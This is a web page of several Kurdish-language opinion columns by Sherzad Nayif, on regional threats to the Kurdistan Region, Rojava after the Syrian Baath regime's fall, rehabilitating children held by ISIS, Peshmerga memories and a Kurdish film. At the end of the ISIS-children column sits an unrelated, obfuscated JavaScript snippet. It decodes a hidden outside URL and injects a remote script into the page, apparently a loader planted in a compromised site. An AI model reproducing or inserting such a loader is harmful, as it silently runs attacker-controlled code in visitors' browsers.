وەكو رۆژێ د ئاشكرانە، یان ئەو كریارێن كوشتنا گەلەك سەركردەیێن رێكخراوان و بەرپرس و سەرۆكان ب درۆنان. دیسا هندەك ژ وان كریاران كو چەندین جاران هەرێما كوردستانێ‌ بۆ خۆ كرینە ئارمانج.. ژ بەركو سیاسەتا هەولێر ئەو جۆرێ‌ سیاسەتێ‌ یە كو هەمی بهانەیان ل دوژمنان دگریت و ئەوان بەرسڤ نەبن. لەورا بەرێ‌ خۆ دانە پیلانێن ترسناك، ئەڤە لۆژیكە نەتنێ‌ یێ‌ ئەڤرۆ یە بەلكو هەر ژ سەردەمێ‌ بارزانیێ‌ نەمر مستەفا، ژی چەندین جاران هەتكا دەستهەلاتێن ئیراقێ‌ چوویە ل هەمبەری بارزانی و شكەستن د هەولێن وان دا هاتینە دیتن و چو جاران ژی بسەرناكەڤن وەكو باب و باپیرێن مە گۆتین: راستۆ درستۆ.. خواهرۆ شكەستۆ.
دڤێت ئەم خۆ بۆ ڤی جۆرە شەڕی بەرهەڤ بكەین و هەمی ئامادەباشیا بۆ هەمی پیلانێن چاڤەرێكری بكەین و ئەم ژی ب وەكالەت پێئالینكا ل زالما بدەین. ژبیر نەكەین ناڤەندا كەربێ‌ و زكڕەشیێ‌ و نیفاقێ‌ ئەڤ ل باڵگێ‌ مەیە، دڤێن خۆ هشیار بكەین.

شێرزاد نایف
ئه‌م وه‌كو هه‌رێما كوردستانێ و وه‌كو ئیراق یێن ره‌خ سووریێ ڤه‌ و به‌رییا نها ژى حزبا به‌عس ئه‌ڤه‌ چه‌ندین ساله‌ ڤان هه‌ردو وه‌لاتان ب ئاگرى و ئاسنى برێڤه‌دبه‌ن، و پشتى رۆخیانا رژێما به‌عس ل ئیراقێ ژى ئه‌م ته‌ڤلى هه‌ڤ بووین، و پشتى ده‌ركه‌فتنا رێكخراوا تیرۆرستى یا داعشێ ژى ره‌هێن خۆ گه‌هاندنه‌ هه‌ردو وه‌لاتان. ژبه‌ر هندێ ژى هه‌تا نها ئیراق به‌رقه‌رار نه‌بوویه‌ زێده‌ربارى وان وه‌لاتێن ده‌وربه‌ر ژى ته‌خسیریێ ناكه‌ن بۆ ده‌ستتێوه‌ردانێ و مایتێكرنێ و تۆلڤه‌كرنێن خۆ یێن ب هه‌مى ره‌نگان. ئه‌ڤرۆ پشتى رۆخیانا رژێما به‌عس ل سووریێ ب ئێكجارى ئه‌ڤ دۆخه‌ هاته‌ پێش ئێدى خه‌ما مه‌ ژى هه‌ر پسمامێن مه‌ یێن رۆژاڤا یێ كوردستانێ یه‌، كانێ دێ چاره‌نڤیسێ وان چ بیت، ژ به‌ركو ئه‌م پێكڤه‌ دگرێداینه‌ و وه‌لاتێن ب ره‌خ مه‌ڤه‌ تایبه‌ت توركیا بۆ وێ نها ژ ئه‌وله‌ویاتێن ئه‌جیندایێن وێ یه‌ و رۆژه‌ڤا هه‌رى گه‌رمه‌، و چ یا ژ وێ دهێت دێ كه‌ت، هه‌كه‌ ئه‌ڤ وه‌لاتێن مه‌زن وه‌كو ئه‌مریكا نه‌بانه‌ دا گه‌له‌ك هه‌ولێن مه‌زن و مه‌ترسیدار ل سه‌ر كوردستانێ كه‌ت. ئه‌ڤجا نها سه‌ركردایه‌تیا رۆژئاڤا یا ل به‌رامبه‌ر گه‌له‌ك بژارده‌یان و هه‌مى پێشبینى بۆ هندێ دچن كو ببیته‌ هه‌رێمه‌كا جوداتر ژ سووریا نوو چونكو ئه‌ڤان چه‌ند سالێن دوماهیێ شیایه‌ پیگه‌هه‌كێ ب هه‌ر ره‌نگه‌گى بۆ دروست بكه‌ت و نها رۆژاڤا باشترین ده‌ڤه‌ره‌ ل سووریێ یا ب رێكوپێك. ژ وان بژارده‌یان ژى وه‌كو هاتیه‌ گۆتن كو ل به‌ره‌ سه‌رۆكێ هێزێن سووریا دیمۆكرات مه‌زلۆم كۆبانى سه‌ره‌دانا سه‌رۆك و مه‌رجه‌عێ كوردان مسعود بارزانى ل هه‌ولێرێ بكه‌ت، ئه‌ڤجا ئه‌ڤ سه‌ره‌دانه‌ دێ بۆیه‌ره‌كا هه‌رى گرنگ بیت و چاڤێ هه‌مى جیهانێ دێ ل سه‌ر بیت، كو دو جه‌مسه‌رێن زێندى یێن كوردستانا مه‌زن لێكخرڤه‌ ببن. دێ بۆ توركیا و ئیرانێ و ئیراقێ و سووریا نوو تشته‌كێ مه‌ترسیدار بیت، نه‌ تنێ كۆمبووان وان به‌لكو چاره‌نڤیسێ ده‌ڤه‌رێ دوور نینه‌ كارڤه‌دانێن خۆ یێن خراب هه‌بن، هه‌ر چه‌نده‌ په‌یوه‌ندیێن هه‌رێما كوردستانێ ل گه‌ل هه‌مى وه‌لاتان د ئاسته‌كێ باش دانه‌، و حوكمه‌تێن وان پرۆتۆكۆلێن مفادار یێن دوقۆلى ل گه‌ل هه‌نه‌، و ئاسایشا نه‌ته‌وه‌یى یان وان تووشى چ مه‌ترسیان نابیت، لێ ئه‌و وه‌كو سیاسه‌ت و ئه‌وا كو دبێژنێ (ده‌وله‌تا كویر)، وه‌ك سه‌رپێچى دبینن، دویر نابینم ل گه‌له‌ك رێكا بگه‌ریێن بۆ تێكدانا هه‌ردو هه‌رێمان، ڤێجا كانێ دێ چ بیت و چاوا بیت؟!. دێ ته‌ماشه‌ى سه‌ربۆران كه‌ین كا چاوا ب وه‌كاله‌ت گه‌له‌ك تشت ب سه‌رێ مه‌ ئینابوون. هه‌رچه‌نده‌ ل داویێ شكه‌ستن ب ده‌ستڤه‌ئینابوون. لێ هه‌ر دێ بزاڤان كه‌ن، نه‌دویره‌ شه‌ڕه‌كى بۆ مه‌ بفرۆشن یانژى ئه‌لغامێن سیاسى بۆ مه‌ ڤه‌ده‌نه‌ڤه‌ و دێ پاشه‌رۆژێ بۆ مه‌ دیار بیت.

شێرزاد نایف
كه‌یسه‌كا كاریگه‌ره‌ و مه‌زنه‌ و هه‌ژى سه‌رراوه‌ستانێ یه‌، ژماره‌كا مه‌زنه‌ و و ل ده‌ڤه‌رێ دبه‌ربه‌لاڤن، ئه‌رێ ئه‌ڤ زارۆیێن دوهى كه‌فتینه‌ ده‌ستێ رێكخراوا تیرۆرستى یا داعشێ، چاره‌نڤیسێ وان دێ چ بیت؟ و یێن به‌رزه‌ و یێن ره‌ڤاندى نها ل كیڤه‌نه‌؟!.. و هه‌كه‌ ژ ده‌ستێ داعش ده‌ركه‌فتن؛ ئه‌رێ دێ چ ده‌روونهك هه‌بیت كو ته‌ڤلى په‌روه‌رده‌كا نوى بكه‌ى؟ ئه‌رێ ئه‌و زارۆیێن كو بابێن وان داعشى و دایكێن وان سه‌بایا، كى دێ ل سه‌ر راوه‌ستیت و ب چ شێوه‌ دێ سه‌رده‌ری ل گه‌ل هێته‌ كرن، نه‌مازه‌ ده‌ڤه‌ر یا د كاودانه‌كێ نه‌سه‌قامگیر دا دژیت ژ بێ سه‌روبه‌رییا برێڤه‌برنێ و مایتێكرنێن هه‌رێماتیك كو یا پڕه‌ ژ ئالۆزیان و یا دووره‌ ژ ده‌سته‌به‌ركرنا پره‌نسیپێن مافێن مرۆڤى و یه‌كسانیێ و دادوه‌رییا جڤاكى، تایبه‌ت ده‌رباره‌ى ڤى ته‌مه‌نێ زارۆیان كو قۆناغا سنێله‌یێ و پشتى سنێله‌یێ یه‌.
حوكمه‌تا هه‌رێما كوردستانێ خوه‌ دایه‌ به‌ر ڤێ كه‌یسێ و هه‌مى بزاڤ كینه‌ كو وان ژ ده‌ستێ داعشێ بینیته‌ ده‌ر ب هه‌ر رێیه‌كا هه‌بیت و گه‌له‌ك ژى ئه‌نجامدایه‌. ئه‌ڤجا ئه‌ڤ جۆرێن زارۆیان پێدڤى ب سه‌خبێریكرنێ نه‌، جۆره‌كى ژ وان ته‌مه‌نێ وان د ناڤبه‌را 12 ـ 18 سالیێ دایه‌، ئه‌ڤ زارۆیێن هه‌نێ پێدڤى ب په‌روه‌رده‌ و فێركرنێنه‌، هنده‌ك رێكخراوێن مافێ مرۆڤى مل ب ملێ حوكمه‌تا هه‌رێمێ خوه‌ لێ كرینه‌ خودان، كو رۆله‌كێ ئه‌رێنى ل ده‌ڤه‌رێ گێراینه‌ نه‌به‌س د بیاڤێ زارۆیان دا لێ هه‌مى لایه‌نێن دى، چونكو گه‌له‌ك ژ وان زارۆیان، دا تووشى كاره‌ساتێن ده‌روونى بن، كو به‌رییا هینگى ژى گه‌له‌ك ژ وان تاوانێن مه‌زن و یێن تیررى ئه‌نجامداینه‌.. ئه‌و زارۆیێن كه‌فتینه‌ ده‌ستێ داعشا تیرۆرست ل سه‌ر شه‌ڕان و جۆرێن چه‌كى و كارێن توندو تیژیێ هاتینه‌ مه‌شقدان.
ژبه‌ر هندێ ژى ئه‌ڤ كارێ ئه‌ڤ رێكخراوێن جڤاكێ سڤیل ئه‌نجامدده‌ن كاره‌كێ مه‌زن و یێ سه‌رانسه‌رى یه‌، و ل جهـ و ده‌مێن خوه‌ كه‌فتینه‌ كارى. ئه‌ڤ زارۆیێن هه‌نێ سه‌ر ب گه‌له‌ك وه‌لاتان ڤه‌نه‌، سووری، ئیراقى، و 54 وه‌لاتێن دى ئه‌ڤ وه‌لاتێن هه‌نێ ژى د دخوازكرینه‌ كو ل وه‌لاتیێن خۆ بگه‌رن و بزڤرینن.
ئه‌ڤ زارۆیێن ل سه‌ر تیرۆرێ هاتینه‌ مه‌شقدان ب ساناهى ناهێنه‌ په‌روه‌رده‌كرن، چونكو دێ ل پاشه‌رۆژێ بنه‌ مه‌ترسى ل سه‌ر ده‌ڤه‌رێ، له‌ورا په‌روه‌رده‌كرنا وان دڤێت وه‌كو راكرنا په‌لان ژ مه‌قلا ئاگری بیت ب په‌لگازكێ بیت ده‌ستێن مرۆڤى نه‌سۆژن. سه‌رێ وان یێ تژى بیر و باوه‌رێن هشك كرین، چاوا دێ به‌ره‌ ب باشیێ ڤه‌ به‌ن؟ نابیت ژى وه‌كو سه‌رده‌ریكرنا تیرۆرستان بهێنه‌ حسابكرن، چونكو گونه‌ها وان نینه‌. چونكو به‌رهه‌ڤكرنا وان د ژیه‌كێ بچویك دا بوویه‌ و سه‌رێ وان تژى كرینه‌، له‌ورا دڤێت چاره‌كرنا وان ژى ب هه‌ڤته‌ریپى وێ ره‌نگڤه‌دانێ بیت، ئه‌و چه‌ند ب دژوارى هاتینه‌ په‌روه‌رده‌كرن، دڤێت رێكخراوێن مرۆڤاتى ژى ب هه‌مان قه‌ده‌رێ ئاشتیخوازیێ وان راستڤه‌ بكه‌ن و په‌روه‌رده‌ بكه‌ن.
یا باش ئه‌وه‌ ئه‌ڤ رێكخراوێن سه‌رده‌یكرنێ ل گه‌ل ڤان زارۆیان دكه‌ن، ب گۆره‌یى قانوونا نیڤده‌ولى كارێ خوه‌ دكه‌ن، بۆ میناك بنه‌مایێن نه‌ته‌وێن ئێكگرتى یێن نموونه‌یى بۆ سه‌رده‌ریكرنا زیندانییان (بنه‌مایێن ماندێللانه‌). كو هه‌مى پێداویستیێن زیندانییان بهێنه‌ دابینكرن، مافێن مرۆڤى بۆ بهێنه‌ دابینكرن ته‌نانه‌ت كو كه‌سێن تاوان ژى كرین، مافێ هه‌بوونا پارێزه‌ران هه‌بیت.. و سزادانا وان ژى بۆ ژیێ وان یا گونجاى بیت. هه‌تا كو مێشكێ وان ژ هشكباوه‌ریێ ڤالا ببیت. ئه‌ڤه‌ ژى كارێ رێكخراوێن نه‌حكومى یه‌. ل ڤێره‌ ئه‌ركێ وان دبیته‌ ئه‌ركه‌كێ سه‌رانسه‌رى و هه‌مى بیاڤێن په‌روه‌رده‌كرنێ ب خوه‌ڤه‌ دگریت. ئێك ژ ڤان رێكخراوێن سڤیل به‌هره‌كا مه‌زن د ڤى بیاڤى دا پێكئینایین (ده‌زگه‌هێ ژیان)ـه‌، چونكو هه‌ر ژ ده‌سپێكى َد گه‌ل دا بوویه‌ و بیاڤێن ساخله‌میا گشتى ب خوه‌ ڤه‌ گرتینه‌ و چاڤدێریكرنا كه‌سێن رزگاربووى ژ ده‌ستێ داعشێ ژ شۆكێن ده‌رۆنى چاره‌ كرینه‌. ژ لایه‌كێ دى ڤه‌ ماف و ئازادییان بۆ وان ده‌سته‌به‌ر دكه‌ت، دیمۆكراتیێ و جڤاكێ مه‌ده‌نى نیشا وان بده‌ت. راهێنان و ئاڤاكرنا هێز و شیانێن وان هه‌میان بۆ دابین بكه‌ت و ده‌ستێ وان دگریت هه‌تا دگه‌هنه‌ كنارێ ئێمن!.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

شێرزاد نایف
چه‌رخێ زێرینێ هه‌ستا نه‌ته‌وایه‌تى و كوردبوونێ و وه‌لاتپارێزیێ و دلسۆزى ل گه‌ل شۆرشا گولانێ هه‌ڤته‌ریب بوون، خه‌لك گه‌له‌ك ب هه‌ست و نه‌ ستێن خوه‌ ڤه‌ گرێدایى سه‌رخستنا بزاڤا كوردى بوو، تشته‌ك هه‌یه‌ ب عه‌ره‌بى دبێژنێ (نشوه‌) یانكو دلخۆشییا سه‌ركه‌فتنێ و پێشڤه‌برنێ، تامه‌كا وه‌سا هه‌بوو، ئه‌ڤجا دڤیت ئه‌ڤ نفشێ نها هه‌ست پێ نه‌كه‌ت. له‌ورا مه‌ ئه‌ڤ په‌یڤه‌ نه‌خشاندنه‌ و پێشكێشى وان كرینه‌.. پێشمه‌رگه‌یێ گولانێ ـ یێ ئیلۆنێ ژى ـ وه‌كو فریشته‌كێ پیرۆز ل ناڤ وه‌لاتى دهاته‌ لێنێرین، مرادا هه‌ر ماله‌كێ بوو، كو پێشمه‌رگه‌ك ژ چیای هاتبا خار و ب نهێنى ل ناڤا كولانكێن باژارى دا هاتبا و ببا مێڤانێ وان، ئه‌و ئاخ و ته‌قنا ب جلێن وان ڤه‌؛ ب پۆتا وان یێن (مێكاپ) وه‌كو تبره‌كه‌كێ بوو ل به‌ر دلێ مه‌، ل ناڤ مالێن مه‌ دا؛ عه‌زیزترن مێهڤان بوون، دلێ مه‌ بۆ وان دسۆت و ئه‌و ل چیایى ب هه‌مى رامانا په‌یڤێ ئه‌و خۆشتڤیێن به‌ر دلێ مه‌بوون.. هه‌ر چه‌نده‌ ل وى ژیێ هینگى ئه‌م سڤیل بووین، لێ ژبه‌ر جلك و راپێچا وان، ته‌نانه‌ت سه‌برا مه‌ خۆ ب چه‌ته‌یان ژى دهات (جاش)، سه‌ره‌راى وێ كه‌ربا مه‌ ژ ئه‌ركێ وان یێ خراب، لێ چونكو هه‌ر جلكێن كوردى بوون و ب رۆخسار ڤه‌ چاڤ و دلێن مه‌ پێ خۆش دبوون. مه‌ د خه‌یالا خوه‌ دا دگۆت، ئه‌ڤه‌ جاشن هۆسا ب ڕاپێچ و ره‌خت و تفه‌نگ، به‌لێ پا پێشمه‌رگه‌ نها چه‌ند دجوانن؟!. هه‌لبه‌ت دلێ مه‌ یێ نیگه‌ران بوو ژ ئه‌ركێ وان، لێ هزرا سنێله‌ى زۆر جاران ب روخساران ڤه‌ دمینیت، هه‌ر چاوا بیت ئه‌و جاش بوون و ئه‌ركێ وان شه‌رمزارى یه‌.. و دیرۆك پێ دهه‌ڕمیت! لێ پێشمه‌رگێ گولانێ ناڤه‌ك بوو، یێ قه‌ده‌غه‌ بوو هاتبا گۆتن، هه‌رده‌م ب دزى ڤه‌ و ب ده‌نگه‌كێ نزم دئینانه‌زمان.. هه‌تا وى راده‌ى ب ئینانا ناڤێن (مه‌لا مسته‌فا، پێشمه‌رگه‌، پارتى، مه‌سعود و ئدریس، نێچیرڤان، جه‌لال، دختۆر شڤان په‌روه‌ر، شۆرشا گۆلانێ..هتد. بۆ مه‌ هند دشرین بوون مینا مزگینیا به‌هه‌شتى بوون، دایكێن مه‌ دۆركێن نانى و خوارنێن خۆش بۆ وان رادكرن و نان ژ ده‌ڤێن مه‌ دئیناده‌ر و بۆ وان دهنارتن. ئه‌ڤه‌ هه‌مى ژ ره‌نگڤه‌دانا وێ سته‌م و زۆریێ بوو یا ره‌شه‌كێن به‌عسیان ب سه‌رێ مه‌ و كه‌سوكارێن مه‌ دئینان، چه‌ندى سته‌م شدیابا حه‌ژێكرنا مه‌ بۆ پێشمه‌رگه‌ى ب هێزتر لێ دهات. ده‌نگێ له‌قله‌قا و گورمێنا عه‌مه‌لیاتێن وان بۆ مه‌ مینا شه‌هیانه‌كێ بوو.. مینا نڤیسه‌ره‌كێ مه‌ مامۆستا (عزه‌ت یوسف) نڤیسى: گول ژ كوردایه‌تیا گولانێ دبارین..
ئه‌ڤ شۆره‌شه‌ وه‌كو ره‌نگڤه‌دانه‌كا سروشتى ژ ناڤ جه‌گێ ڤى مله‌تى ده‌ركه‌فتبوو، جوانترین په‌روه‌ده‌یا وه‌لاتپارێزیێ سه‌میانێن مه‌ نیشا مه‌ دابوو و هه‌تا نها ژى یابه‌رده‌وامه‌.. په‌یاما گه‌له‌كێ سته‌ملێكرى بۆ سه‌رهلدانێ و ئه‌ڤرۆ هاتبوو راده‌ستكرن و دێ هه‌ر مینیت ژى.

شێرزاد نایف
ئه‌ڤه‌ فلمێ كوردى یێ (دبن بارێ ژیانێ دا) گه‌هشته‌ ره‌خێ دى یێ تۆنێلى رۆناهى ل ناڤ تاراتییا هۆلا سینه‌مایێ دا دیت، كا چاوا ئه‌م ته‌ڤلى تاراتییا سینه‌ما (دهۆك مۆل) بووین، ب ئه‌نجامێ فلمى گرنژین و دلخۆشى یا دروست و ب چیژ ئه‌ڤى فلمى نیشا مه‌دا، ئه‌ڤ خۆشیا وێ چیژێ ژ چو دهێت؟، ژ وێ نه‌خۆشییا كۆلبه‌رێن كورد و ده‌رده‌سه‌ریێن وان ل ناڤ چه‌ل و چییا دیتین دیار دكه‌ت، حلكه‌حلكا وان بۆ بده‌ستڤه‌ئینانا نانێ ژیانێ بۆ خێزانێن خوه‌، گه‌له‌ك په‌یام و ره‌هه‌ندان ب خوه‌ڤه‌ دگریت. ده‌رهێنه‌رێ فلمى ب ناڤێ (كه‌هى تیته‌ب) كۆڕێ دهۆكێ یه‌ كو ل هه‌ولێرێ دژیت، نمایشكرنا ڤى فلمى بۆ ته‌خه‌كا بژاره‌ ل دهۆكێ به‌رى چه‌ند رۆژه‌كان هاتبوو كرن، تشتێ هه‌رى ب حنێر یێ فلمى ئه‌وه‌ ده‌رهێنه‌رێ گه‌نج شییا گه‌له‌ك په‌یامێن نه‌راسته‌خوه‌ ئاراسته‌ى جیهانێ بكه‌ت، كو ب زمانێن بیانى دهێته‌ په‌خشكرن، ئه‌ڤجا گه‌له‌ك شرۆڤه‌، بۆچوون، ره‌خنه‌یێن تیژ و یێن نازك ژى هاتنه‌ ئاراسته‌كرن، من نه‌ڤێت زێده‌تر به‌حس لێ بكه‌م، ب تنێ من دڤییا دیمه‌نه‌كێ گرنگێ نشتیمانپه‌روه‌ریێ دیاربكه‌م، كو ئه‌ڤه‌ نفشێ مه‌ یێ نوى، مه‌ پشتراست دكه‌ت كو دێ وى ئه‌مانه‌تێ وه‌لاتپارێزیێ وه‌رگریت و به‌رده‌وامیێ ده‌تێ، هه‌كه‌ نه‌وه‌كو مه‌ نفشێن كه‌ڤن نه‌بیت، مسۆگه‌ر دێ باشتر بیت، ئه‌و دیمه‌ن ژى من گه‌له‌ك جاران د گۆتاران دا ئاماژه‌ پێ دایه‌، ده‌مێ كو ئه‌م پێشمه‌رگه‌ ل ده‌سپێكا داستانا (سحێلا) و هێرشێن مه‌زنێن حه‌شدا شه‌عبى هاتینه‌ سه‌ر مه‌ ب پشته‌ڤانیا ده‌وله‌تێن هه‌ڤسوى و ده‌وروبه‌ر، ب هه‌مى ئالاڤێن گرانێن چه‌كى هاتین، هینگى رابه‌رێ كورد مه‌سعود بارزانى هاته‌ به‌رۆكێن شه‌ڕى ل نێزیكى مه‌ بوو و پشتى شه‌ڕ بدوماهى هاتى و ئه‌م سه‌ركه‌فتین، دیاركر كو ل ده‌سپێكى جهێ گومانێ بوو، كانێ ئه‌ڤ نفشێ نوى یێ نازك و بێ سه‌ربۆر دێ كاریت وه‌كو پێشمه‌رگێن شۆرشا ئیلۆنێ به‌رگریێ كه‌ن، لێ وه‌ختێ بوویه‌ شه‌ڕ و هه‌لكه‌فتى و به‌رگرى ب ئاستى و ئاگرى و خوینێ هاتیه‌كرن، تانكێن ئه‌به‌ڕامز هاتینه‌ سۆتن، مینا موعجیزه‌كێ بوو.. ئینا گۆت.. بۆ من دیاربوو كو ئه‌و گۆتنا دبێژیت ..((كۆڕێن شێران ژى هه‌ر شێرن)).. ئه‌ڤجا (كه‌هى) یێ داهێنه‌ر هه‌ر پێشمه‌رگه‌یه‌ و ب داهێنان و هونه‌رى هه‌مان هه‌لوه‌ست بۆ من په‌یداكر..چونكو ئه‌و ژى شێره‌ كۆڕێ شێره‌كى یه‌ د مه‌یدانا میدیایێ دا شوونتبلا خوه‌ دانایه‌ و ده‌نگێ كوردان گه‌هاندیه‌ (ئه‌حمه‌د زاویته‌ى)… كه‌هى ئه‌ز پشتراست كرم.. كو دێ هیڤیێن ڤى ملله‌تى گه‌ش كه‌ت و د ناڤ سه‌ركه‌فتنێ دا كه‌هى بن.